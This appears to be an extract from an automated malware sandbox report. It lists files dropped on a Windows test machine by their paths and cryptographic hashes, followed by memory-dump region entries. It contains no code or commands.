55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

SHA512
95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fabbb9cf-9b8c-4b2f-b33d-0de7a9a3a10e

MD5
be4d72095faf84233ac17b94744f7084

SHA1
cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

SHA256
b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

SHA512
43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

MD5
97b178c73d27fe1b1ff0a5cfc1ed8585

SHA1
de31405ecd69ec51f31be86ec25fea2abb151721

SHA256
82cfd65d5f38aef7c79dafb3e069a7177313c313d27d6b8bce479bf43a308607

SHA512
31dac69dfae543591af24b898697df0e73d052a00456dd3713b0cc1ce49e8782ae8b7ec69475f0bc85593e8c6050896b566fa8f8bc8d7d90562d18f47f5fa1be

Download Submit
C:\Users\Admin\AppData\Local\Temp\Bhhh00dX.bat

MD5
ccef04cb504305fb1bb33425d295931f

SHA1
9be0c089590f3bfec11976eb012e5e3d1d99d5d1

SHA256
9e3bfb61737e38c520f7a2b373833b8c61ab1b487bfe2798fd45158005ab1c04

SHA512
c5d0b9f7b27a323d5f5769ba2040592751cbb2a4f36ac8fc95f637024353b107a18976e448ed04f8accc996d4f53e3513cbd857a45decf8627da7b121e5a21af

Download Submit
C:\Users\Admin\AppData\Local\Temp\NWt29TaW.exe

MD5
837d96ee65e177210ad77e0b7a3e2ee1

SHA1
9f96a1acbcf006bf9cc61119dc76ca47adf63066

SHA256
bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2

SHA512
3369cccd102ef223a3d3bcb8b7cd11bc409cdb63bbbce33c8bbd05e6b52bc32b2a9c3ff29202e8107da6eab04e61fab0a7645631821d37bc3120dfe86bc26a62

Download Submit
C:\Users\Admin\AppData\Local\Temp\NWt29TaW.exe

MD5
837d96ee65e177210ad77e0b7a3e2ee1

SHA1
9f96a1acbcf006bf9cc61119dc76ca47adf63066

SHA256
bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2

SHA512
3369cccd102ef223a3d3bcb8b7cd11bc409cdb63bbbce33c8bbd05e6b52bc32b2a9c3ff29202e8107da6eab04e61fab0a7645631821d37bc3120dfe86bc26a62

Download Submit
C:\Users\Admin\AppData\Local\Temp\ZG413Grv.exe

MD5
2f5b509929165fc13ceab9393c3b911d

SHA1
b016316132a6a277c5d8a4d7f3d6e2c769984052

SHA256
0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

SHA512
c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

Download Submit
C:\Users\Admin\AppData\Local\Temp\ZG413Grv.exe

MD5
2f5b509929165fc13ceab9393c3b911d

SHA1
b016316132a6a277c5d8a4d7f3d6e2c769984052

SHA256
0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

SHA512
c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

Download Submit
C:\Users\Admin\AppData\Local\Temp\ZG413Grv64.exe

MD5
3026bc2448763d5a9862d864b97288ff

SHA1
7d93a18713ece2e7b93e453739ffd7ad0c646e9e

SHA256
7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec

SHA512
d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6

Download Submit
C:\Users\Admin\AppData\Local\Temp\u0rUqag5.txt

MD5
75564e2df4b8c8d33695e8e5e58cb03c

SHA1
64a796a9f01a1f12bcbe641ecc92541a41ece9b5

SHA256
bfc3a26300e7bd0144a9974a6cc1f88f555dd022002aab0166aa0813070a8965

SHA512
c24aa065ed61adf4f32d9dd1edd089163b0b953a10ef14f87f4095c0677cc27c684c3666ab1911e4e21f2517d1292454c3016255bb3279e2ff48a59257b455af

Download Submit
C:\Users\Admin\AppData\Roaming\Y4WPsKrv.vbs

MD5
b57836bc3f11de3a486d1d4604025a5a

SHA1
a512c4d6e308216dd6812bb15764bf6399d7fa04

SHA256
6a8637540f4c77d7804a8afe8b9e0752ef8c8c30314c90b1b873b31e2600fa3a

SHA512
cf1a08a053cbea5bdd21745bf61990f35b075f5fe676ea177080ea0a5e20f05f6cc5adb0396700874a1ebb13c1bec444e8454867a7453be66a0532f64085df2e

Download Submit
C:\Users\Admin\AppData\Roaming\okwFHopK.bat

MD5
321b5b696c5b2e56bc6239ffc2f02baf

SHA1
cb6e709eec1d29ab893d910275c0d0c4d3556685

SHA256
c413ece0eca41d867452a2e0d35236e8fa474a52ed0267eecbd60e0ac2466a0e

SHA512
0cc7b1b5953e34f45a7c373af38d5dd9cab759b4fae7ac0fd9e4c9d518af047720c45f176236508a4cebe0a015345235cc598f9334b75f1e3325ec8d688bbad2

Download Submit
\Users\Admin\AppData\Local\Temp\NWt29TaW.exe

MD5
837d96ee65e177210ad77e0b7a3e2ee1

SHA1
9f96a1acbcf006bf9cc61119dc76ca47adf63066

SHA256
bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2

SHA512
3369cccd102ef223a3d3bcb8b7cd11bc409cdb63bbbce33c8bbd05e6b52bc32b2a9c3ff29202e8107da6eab04e61fab0a7645631821d37bc3120dfe86bc26a62

Download Submit
\Users\Admin\AppData\Local\Temp\NWt29TaW.exe

MD5
837d96ee65e177210ad77e0b7a3e2ee1

SHA1
9f96a1acbcf006bf9cc61119dc76ca47adf63066

SHA256
bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2

SHA512
3369cccd102ef223a3d3bcb8b7cd11bc409cdb63bbbce33c8bbd05e6b52bc32b2a9c3ff29202e8107da6eab04e61fab0a7645631821d37bc3120dfe86bc26a62

Download Submit
\Users\Admin\AppData\Local\Temp\ZG413Grv.exe

MD5
2f5b509929165fc13ceab9393c3b911d

SHA1
b016316132a6a277c5d8a4d7f3d6e2c769984052

SHA256
0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

SHA512
c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

Download Submit
\Users\Admin\AppData\Local\Temp\ZG413Grv64.exe

MD5
3026bc2448763d5a9862d864b97288ff

SHA1
7d93a18713ece2e7b93e453739ffd7ad0c646e9e

SHA256
7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec

SHA512
d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6

Download Submit
memory/108-54-0x0000000002820000-0x0000000002824000-memory.dmp

Filesize
16KB

Download
memory/108-34-0x0000000000000000-mapping.dmp

Download
memory/388-58-0x0000000000000000-mapping.dmp

Download
memory/568-56-0x0000000000000000-mapping.dmp

Download
memory/572-104-0x0000000000000000-mapping.dmp

Download
memory/656-29-0x00000000062D0000-0x00000000062D1000-memory.dmp

Filesize
4KB

Download
memory/656-15-0x0000000005660000-0x0000000005661000-memory.dmp

Filesize
4KB

Download
memory/656-28-0x00000000062B0000-0x00000000062B1000-memory.dmp

Filesize
4KB

Download
memory/656-20-0x00000000060B0000-0x00000000060B1000-memory.dmp

Filesize
4KB

Download
memory/656-21-0x0000000006130000-0x0000000006131000-memory.dmp

Filesize
4KB

Download
memory/656-12-0x00000000027B0000-0x00000000027B1000-memory.dmp

Filesize
4KB

Download
memory/656-11-0x0000000000DB0000-0x0000000000DB1000-memory.dmp

Filesize
4KB

Download
memory/656-7-0x0000000000000000-mapping.dmp

Download
memory/656-8-0x0000000074390000-0x0000000074A7E000-memory.dmp

Filesize
6.9MB

Download
memory/656-9-0x00000000009C0000-0x00000000009C1000-memory.dmp

Filesize
4KB

Download
memory/656-10-0x00000000049C0000-0x00000000049C1000-memory.dmp

Filesize
4KB

Download
memory/672-6-0x0000000000000000-mapping.dmp

Download
memory/808-36-0x0000000000000000-mapping.dmp

Download
memory/924-37-0x0000000000000000-mapping.dmp

Download
memory/1204-101-0x0000000000000000-mapping.dmp

Download
memory/1320-52-0x0000000000000000-mapping.dmp

Download
memory/1360-53-0x0000000000000000-mapping.dmp

Download
memory/1364-39-0x0000000000000000-mapping.dmp

Download
memory/1468-41-0x0000000000000000-mapping.dmp

Download
memory/1472-63-0x000000001AA30000-0x000000001AA31000-memory.dmp

Filesize
4KB

Download
memory/1472-78-0x000000001B430000-0x000000001B431000-memory.dmp

Filesize
4KB

Download
memory/1472-99-0x000000001B700000-0x000000001B701000-memory.dmp

Filesize
4KB

Download
memory/1472-60-0x0000000000000000-mapping.dmp

Download
memory/1472-61-0x000007FEF5480000-0x000007FEF5E6C000-memory.dmp

Filesize
9.9MB

Download
memory/1472-62-0x0000000002580000-0x0000000002581000-memory.dmp

Filesize
4KB

Download
memory/1472-92-0x000000001B4E0000-0x000000001B4E1000-memory.dmp

Filesize
4KB

Download
memory/1472-64-0x000000001A750000-0x000000001A751000-memory.dmp

Filesize
4KB

Download
memory/1472-65-0x000000001A780000-0x000000001A781000-memory.dmp

Filesize
4KB

Download
memory/1472-85-0x000000001B420000-0x000000001B421000-memory.dmp

Filesize
4KB

Download
memory/1472-69-0x000000001B3C0000-0x000000001B3C1000-memory.dmp

Filesize
4KB

Download
memory/1472-74-0x000000001A7A0000-0x000000001A7A1000-memory.dmp

Filesize
4KB

Download
memory/1472-75-0x000000001A9A0000-0x000000001A9A1000-memory.dmp

Filesize
4KB

Download
memory/1472-76-0x000000001B400000-0x000000001B401000-memory.dmp

Filesize
4KB

Download
memory/1472-77-0x000000001B420000-0x000000001B421000-memory.dmp

Filesize
4KB

Download
memory/1492-0-0x0000000000000000-mapping.dmp

Download
memory/1532-31-0x0000000000000000-mapping.dmp

Download
memory/1572-35-0x0000000000000000-mapping.dmp

Download
memory/1696-33-0x0000000000000000-mapping.dmp

Download
memory/1708-42-0x0000000000000000-mapping.dmp

Download
memory/1752-51-0x0000000000000000-mapping.dmp

Download
memory/1792-49-0x0000000000000000-mapping.dmp

Download
memory/1812-4-0x0000000000000000-mapping.dmp

Download
memory/1820-46-0x0000000000000000-mapping.dmp

Download
memory/1824-43-0x0000000000000000-mapping.dmp

Download
memory/1844-102-0x0000000000000000-mapping.dmp

Download
memory/1888-59-0x0000000000000000-mapping.dmp

Download
memory/1888-55-0x0000000000000000-mapping.dmp

Download
memory/1956-32-0x0000000000000000-mapping.dmp

Download
memory/2024-103-0x0000000000000000-mapping.dmp

Download